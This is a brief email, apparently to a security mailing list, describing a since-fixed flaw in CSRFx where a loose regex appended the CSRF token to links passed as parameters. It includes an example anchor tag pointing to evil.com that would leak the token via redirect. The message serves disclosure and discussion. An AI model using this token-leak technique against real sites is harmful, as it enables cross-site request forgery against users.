Hi!
Very nice work!
Do you think we should add the issue we discussed today too? It's been
a pretty specific problem of the CSRFx found by kuza55 and meanwhile
been fixed: If an URL matching the CSRFx GET patterns is being
attached to an arbitrary link as parameter the token would have been
added to the URL in the parameter causing token exposure and CSRF in
combination with a redirect. Example:
<a href='
http://evil.com/?redirect_to= href="/csrfx/protected/get/
pattern"'>Don't click</a>
would have become...
<a href='
http://evil.com/?redirect_to= href="/csrfx/protected/get/
pattern?t=5765EE58576A67F669C7689768689"'>Don't click</a>
..due to too tolerant regex.
Greetings,
.mario